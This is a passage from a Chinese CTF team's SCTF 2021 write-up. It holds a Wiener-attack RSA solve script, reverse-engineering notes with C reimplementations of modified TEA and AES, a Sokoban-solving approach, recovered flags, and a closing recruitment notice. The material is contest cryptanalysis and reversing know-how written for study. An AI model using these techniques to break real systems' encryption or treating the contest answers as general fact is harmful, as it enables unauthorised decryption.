            x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod 

            y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod 

            return (x, y) 

        elif (x1 - y1 ** 2) % mod != 0: 

            x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod 

            return (x, None) 

        else: 

            return (None, None) 

    else: 

        if (x1 + x2 + y1 * y2) % mod != 0: 

            x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod 

            y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod 

            return (x, y) 

        elif (y1 * x2 + x1 * y2 + 2) % mod != 0: 

            x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod 

            return (x, None) 

        else: 

            return (None, None) 





def myPower(P, a, mod): 

    target = (None, None) 

    t = P 

    while a > 0: 

        if a % 2: 

            target = add(target, t, mod) 

        t = add(t, t, mod) 

        a >>= 1 

    return target 



e = 4900663392474333511021274640586676041190209685334279465644481953732654820007817465784732552403161544491127978960528622855662226436013278818654816634231988610344582782186016441780833459265436490192924918161499546130585534712016341883862636292562878766223441301439228458011482886280440623319855294068082796058072724036574171831263278231498144433634711174601580662800543021165022020993826916028784897066067245828422668690991474561604415237342722134303009211975140707793593659250476825594367676528487883099797429162461388379576349794949052029036932537743737882862455041914136992742454025785618036422947521579196419682673 

N = 16747204882417711556566528921331201720409686477045148358102407358649177037162364757337579737480709279957814538616282656834391036843801973604436858315398426544680221288140414500707975771367683893038710797912471910646361535977073670535351131336367114860464749825264434600778157181779675957160461431719021503108817300190687402628173857695242091154625300957259974276165473530538699640521880788598671262492360267197522031691979305758467455462308866998372462867278079383311005053482404930635325015230152289437841471244731705014411625162283665596766705850908703578792897039321331779312997615919261149792657373096116865329681 

cipher = (1502537198037412138959404925273947125135815733714613113514320632189593377751418476234621558490959338311604744450862970281032410900602855827915451892812987364777765959947084373897245818509290955227026042711684121325311823058498537239012028561792486103281876155615838531477852906000341526557222599310995739831543658223880935572087312742332183395367851697095266248237233506401316404436470875195714876017630583057770038474875796980993028217458408971552567154328292460799613025812259659231108327829165282506352092076311191840744613851846363317595941811588179124381597704935053201484470162263659131968489028564549622533697954537751062579586560414593976837419255907900029822338445737875577148140312280440226776902211723292101877348185901719741368457958588921796200981975075293129980056841456107867653473926640266384852447661565261302935222903023606406288336953609068541701972215445007377344441511973422565646147322055069598488293931, 1011403345603727408945876921250066820314220339105409921963107559195469502064003760326598913179366575981301702956740453627420761328713409390410661289472471898555514549526488404880640921605411282791715962933303870043871446613392022087329011550301515712639691076925568594867583281055065644358838017936361812762277354217939625893846603092627092038863632584999212161084360711665335337867672785946059549908812080484214952167276959823859872433687012399699321821628902087613134849101298661182346870557214136938336080489056200804879187330910338994984002258978932867300612824944744731909867671800598959017549057154534956670423369755122935318059535865610235297367836119658331560061846307081157317985910548447143673273543728783307221862568130810339529595961095105799484367002894090836242935087629943182476006427583114853476474037533007772721440732363420948049914690375136821227018708695289507462018947270591332826564337207730588105092063) 

padding = 105633841121800385495299323793575525757662062720618660464374134421074511358214855668399510418917564552735810735896127683524211092138747188289947813061924731524251612980721176172871908031798142300682065573614320720911139764848510512663864510199192378016664027839477108506581437250078083046615135331808942191529 





d = WienerAttack(e, N) 

p, q = RSAdecompose(N, e * d) 

msg = myPower(cipher, inverse(e, (p ** 3 - 1)), p) 
flag = long_to_bytes(msg[0]) + long_to_bytes(msg[1]) 

print(flag)

Rev

SycGame

逆向后得出是一个推箱子游戏，给出 flag 的条件是连续玩游戏赢 5 次。

游戏的流程为：

生成一个固定的长度为 3001 的数组，数组值为 0 或 1。
随机生成一个 20 x 20 大小的地图，地图上有一些正整数和 -1、-2、-3。如果是 -1 则是箱子，-2 是玩家位置，-3 是箱子的目的地。如果是正整数则对应回第 1 步所得的数组小下标，如果是 0 就是不能走，1 就是可以走。
将地图作为一个长度为 400 的列表输出。
读入 w、a、s、d 的输入，根据输入移动玩家位置。如果玩家位置移动的方向有箱子，则将箱子同方向移动（推箱子）；如果箱子移动的方向有目的地，则将箱子推到目的地上并给一个计数器 +1。如果箱子从目的地上被推开了则将计数器 -1。
当计数器的值等于箱子的数量则游戏胜利，否则如果玩家走到了不能走的地方或者非法输入则游戏失败。

搞懂了这个之后剩下就是写算法玩游戏了。因为箱子和目的地没有特定的关系（任何箱子推到任何目的地都算成功），所以我们直接用贪心和 BFS 来搜索。具体方式是先选一个没有处理过的箱子，接着 BFS 搜到最近的目的地（搜索的时候保证推的方向的反方向格子是可以走到的）。得到路径后，对于每一个推的操作，从玩家当前位置 BFS 搜到推箱子操作的反方向，然后推箱子。重复这个过程直到箱子被推到终点，然后将箱子的位置设成不能走，保证以后不会不小心碰到箱子。最后重复整个过程直到所有箱子被推到终点。

程序生成的地图不保证有解，包括我们的算法也处理不了一些特殊情况，所以有时候搜不出来解。还有一些程序本身的 bug，比如不能走到 -3 或者 -2 的上面，导致算法有时候会与程序的模拟不一致。不过只要我们有获胜的概率，我们可以重复游玩，直到连续五次胜利。这个概率不算太高，不过玩大概 200 盘左右就有一次，所以我们直接失败重开，最后成功拿到 flag。

SycOS

#include<stdlib.h>

#include <stdio.h>  

#include <stdint.h>  

uint64_t d_2ec8 = 0;

uint8_t d_2ed8[0x80 * 0x20];

uint8_t d_2ed0[0x80 * 0x20];

uint8_t fakerandom() {

        d_2ec8 = d_2ec8 * 0x41c64e6d + 0x3039;

        //printf("d_2ec8 = 0x%llx\n", d_2ec8);

        return (uint8_t)((d_2ec8 << 0x21) >> 0x31);

}

void encrypt(uint32_t* v, uint32_t* k) {

        uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */

        uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */

        uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */

        for (i = 0; i < 16; i++) {                       /* basic cycle start */

                sum += delta;

                v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

                v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

        }                                              /* end cycle */

        v[0] = v0; v[1] = v1;

}

//解密函数  

void encrypt1(uint32_t* v, uint32_t* k) {

        uint32_t v0 = v[0], v1 = v[1], sum =0, i;  /* set up */

        uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */

        uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */

        for (i = 0; i < 8; i++) {                         /* basic cycle start */

                v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

                v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

                sum += delta;

        }                                              /* end cycle */

        v[0] = v0; v[1] = v1;

}

void exchange(int index) {

        uint8_t tmp[0x100];

        for (int i = 0; i < 0x100; ++i)

        {

                tmp[i] = d_2ed8[0x100 * index + i];

                d_2ed8[0x100 * index + i] = d_2ed0[0x100 * (0xf-index) + i];

                d_2ed0[0x100 * (0xf - index) + i] = tmp[i];

        }

}

void bigexchange() {

        uint8_t tmp[0x80 * 0x20];

        for (int i = 0; i < 0x80 * 0x20; ++i) {

                tmp[i] = d_2ed8[i];

                d_2ed8[i] = d_2ed0[i];

                d_2ed0[i] = tmp[i];

        }

}

int main() {

        unsigned char input[0x41] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

        int var3 = 0x80;

        int var1 = 0;

        int var5 = 0;

        for (int i = 0; i < 0x20; i++) {

                d_2ec8 = input[i] + i;

                for (int j = 0; j < 0x80; ++j) {

                        uint8_t tmp = fakerandom();

                        d_2ed8[0x80 * i + j] = tmp;

                }

        }

        for (int i = 0; i < 0x20; ++i) {

                d_2ec8 = input[0x20 + i] + i;

                for (int j = 0; j < 0x80; ++j) {

                        uint8_t tmp = fakerandom();

                        d_2ed0[0x80 * i + j] = tmp;

                }

        }

        for(int index = 0 ; index < 0x10 ; ++index){

        for (int i = 0; i < 0x1000; i += 8) {

                uint32_t v[2];

                uint32_t  key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };

                v[0] = *(uint32_t*)(d_2ed8 + i);

                v[1] = *(uint32_t*)(d_2ed8 + 4 + i);

                encrypt(v, key);

                //        printf("v0 == %lx v1== %lx",v[0],v[1]);

                *(uint32_t*)(d_2ed8 + i) = v[0];

                *(uint32_t*)(d_2ed8 + 4 + i) = v[1];

        }

        for (int i = 0; i < 0x1000; i += 8) {

                uint32_t v[2];

                uint32_t  key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };

                v[0] = *(uint32_t*)(d_2ed0 + i);

                v[1] = *(uint32_t*)(d_2ed0 + 4 + i);

                encrypt1(v, key);

                //        printf("v0 == %lx v1== %lx",v[0],v[1]);

                *(uint32_t*)(d_2ed0 + i) = v[0];

                *(uint32_t*)(d_2ed0 + 4 + i) = v[1];

        }

        exchange(index);

        bigexchange();

}

        printf("d_2ed8 = ");

        for (int i = 0; i < 16; ++i)

                printf("%x ",d_2ed8[i]);

        printf("\n");

        for (int i = 0; i < 16; ++i)

                printf("%x ", d_2ed8[0xf*0x100 +i]);

        printf("\n d_2ed0= ");

        for (int i = 0; i < 16; ++i)

                printf("%x ", d_2ed0[i]);

        printf("\n");

        for (int i = 0; i < 16; ++i)

                printf("%x ", d_2ed0[0xf * 0x100 + i]);



}

比较的数在1ec8 ec8 ghidra 打开sctf看一下就行前面的代码是它的加密流程

godness dance

逆向发现，程序输入一个长度 28 的字符串，如果符合条件，就会包裹到 SCTF{} 内然后输出。因此这个字符串就是 flag 的核心部分。

首先，程序会做第一部分的检查，根据逻辑，统计每个字符出现的次数，然后跟一个预置的列表进行比较，如果发现不相等，就打印 “count wrong”。因此通过这里可以得到每个字符出现的次数列表。

实际情况是，只允许小写字母，而且大部分出现次数都是 1，少量字母可以出现 2 次。

到这一步，我们可以判断出 flag 是 abcdefghiijklmnopqrstuuvwxyz 的某个排列。

接下来，有一个函数把 flag 传进去，然后做了一系列操作算出来一个数组，最后跟一个预置的全局数组进行对比，只有完全相等才能通过。因此主要是逆向这个函数。

这个函数中间有一大坨代码是让人不太想看的，但是好在一眼看过去，只有一些 shuffle 相关和统计相关的部分，没有特别复杂的逻辑出现。此外，观察到最终的 check 数组是从 0-28 的一个排列，因此猜测只是在表达每个字符的对应位置。

通过 gdb 尝试来输入几个测试例子，尝试换一换字母的顺序更加印证了这一点。

于是尝试写一段代码来恢复:

charset = b'abcdefghiijklmnopqrstuuvwxyz'

seq = [0x2, 0x1A, 0x11, 0x1C, 0x18, 0x0B, 0x15, 0x0A, 0x10, 0x14, 0x13, 0x12, 0x3, 0x8, 0x6, 0x0C, 0x9, 0x0E, 0x0D, 0x16, 0x4, 0x1B, 0x0F, 0x17, 0x1, 0x19, 0x7, 0x5]

flag = [None] * 29

for i, e in enumerate(seq):

    flag[e] = charset[i]



print(bytes(flag[1:]))
$ ./dance.out 

Input:waltznymphforquickjigsvexbud

Good for you!

flag:SCTF{waltznymphforquickjigsvexbud}

CplusExceptionEncrypt

描述：cpp is a good language

使用ssh穿起来的逻辑，可以这样将他处理

计算 0x402c37-0x402730=0x507

然后把throw改成 jmp 0x572

jmp 0x502

就行了

可能还要简单根据结构体确认一下跳转

分析了一下大部分的操作都用seh框起来，目测是xxtea

魔改的tea+稍微正常的aes（也魔改了）

tea部分

void encrypt (uint32_t* v, uint32_t* k) {  

    uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];

    uint32_t sum1=0,sum2=0, i;           /* set up */  

    uint32_t delta=0x73637466;                     /* a key schedule constant */  

    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  

    for (i=0; i < 32; i++) {                       /* basic cycle start */  

        sum1 += delta;  

        sum2 += delta;  

        v0 += ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);  

        v2 += ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);  

        v1 += ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);  

        v3 += ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);  

        // v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  

    }                                              /* end cycle */  

    v[0]=v0 ^ ((delta>>24)&0xff); v[1]=v1^ ((delta>>16)&0xff);  

    v[2]=v2^ ((delta>>8)&0xff); v[3]=v3 ^ ((delta)&0xff);  

}  

//解密函数  

void decrypt (uint32_t* v, uint32_t* k) {  

    uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];

    uint32_t sum1=0x6c6e8cc0,sum2=0x6c6e8cc0;

    int i;  /* set up */  

    uint32_t delta=0x73637466;                     /* a key schedule constant */  

    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  

    v0=v0 ^ ((delta>>24)&0xff); v1=v1^ ((delta>>16)&0xff);  

    v2=v2^ ((delta>>8)&0xff); v3=v3 ^ ((delta)&0xff); 

    for (i=31; i>=0; i--) {                         /* basic cycle start */  

        v3 -= ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);  

        v1 -= ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);  

        v2 -= ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);  

        v0 -= ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);  

        sum1 -= delta;  

        sum2 -= delta;  

    }                                              /* end cycle */  

    v[0]=v0; v[1]=v1;  

    v[2]=v2; v[3]=v3;  

}

AES魔改部分

oid __cdecl enc_next(uint8_t *roundkeys, uint8_t *plaintext, uint8_t *ciphertext)

{

  _DWORD *v3; // rax

  _DWORD *v4; // rax

  struct type_info *v5; // rdx

  void *v6; // rbx

  uint8_t *v7; // rax

  uint8_t *v8; // rax

  void *v9; // rbx

  void *v10; // rax

  uint8_t *v11; // rax

  std::__cxx11::string temp_2; // [rsp+20h] [rbp-60h] BYREF

  uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF

  char v14; // [rsp+5Eh] [rbp-22h] BYREF

  uint8_t t; // [rsp+5Fh] [rbp-21h]

  double temp_1; // [rsp+60h] [rbp-20h]

  int temp_0; // [rsp+6Ch] [rbp-14h]

  char temp; // [rsp+73h] [rbp-Dh]

  int a; // [rsp+74h] [rbp-Ch]

  int cnt; // [rsp+78h] [rbp-8h]

  uint8_t j; // [rsp+7Eh] [rbp-2h]

  uint8_t i; // [rsp+7Fh] [rbp-1h]

  v3 = _cxa_allocate_exception(4ui64);

  *v3 = 1;

  if ( refptr__ZTIi != (struct type_info *const)1 )

    Unwind_Resume(v3);

  a = *(_DWORD *)_cxa_begin_catch(v3);

  for ( i = 0; i <= 0xFu; ++i )

  {

    v8 = roundkeys++;

    ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66

  }

  _cxa_end_catch();

  // 后面逻辑大致整理

static void CipherSCTF(state_t* state, const uint8_t* RoundKey)

{

  uint8_t round = 0;

  // Add the First round key to the state before starting the rounds.

  AddRoundKeyDec(0, state, RoundKey); // ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66

  // There will be Nr rounds.

  // The first Nr-1 rounds are identical.

  // These Nr rounds are executed in the loop below.

  // Last one without InvMixColumn()

  for (round = 1; ; ++round)

  {

    InvShiftRows(state);

    InvSubBytes(state);

    MixColumns(state);

    AddRoundKey(round, state, RoundKey);

    if (round == Nr) {

      SubBytes(state);

      ShiftRows(state);

      AddRoundKey(round, state, RoundKey);

      break;

    }



  }

}

加密流程：

– 输入32个字符

TEA处理前16个
AES处理前16个
TEA处理后16个
AES处理后16个
比较

根据上述描述写出解密即可

本次2021 SCTF 我们 SU 取得了2nd 的成绩，感谢队里师傅们的辛苦付出！同时我们也在持续招人，只要你拥有一颗热爱 CTF 的心，都可以加入我们！欢迎发送个人简介至：suers_xctf@126.com或直接联系书鱼(QQ:381382770)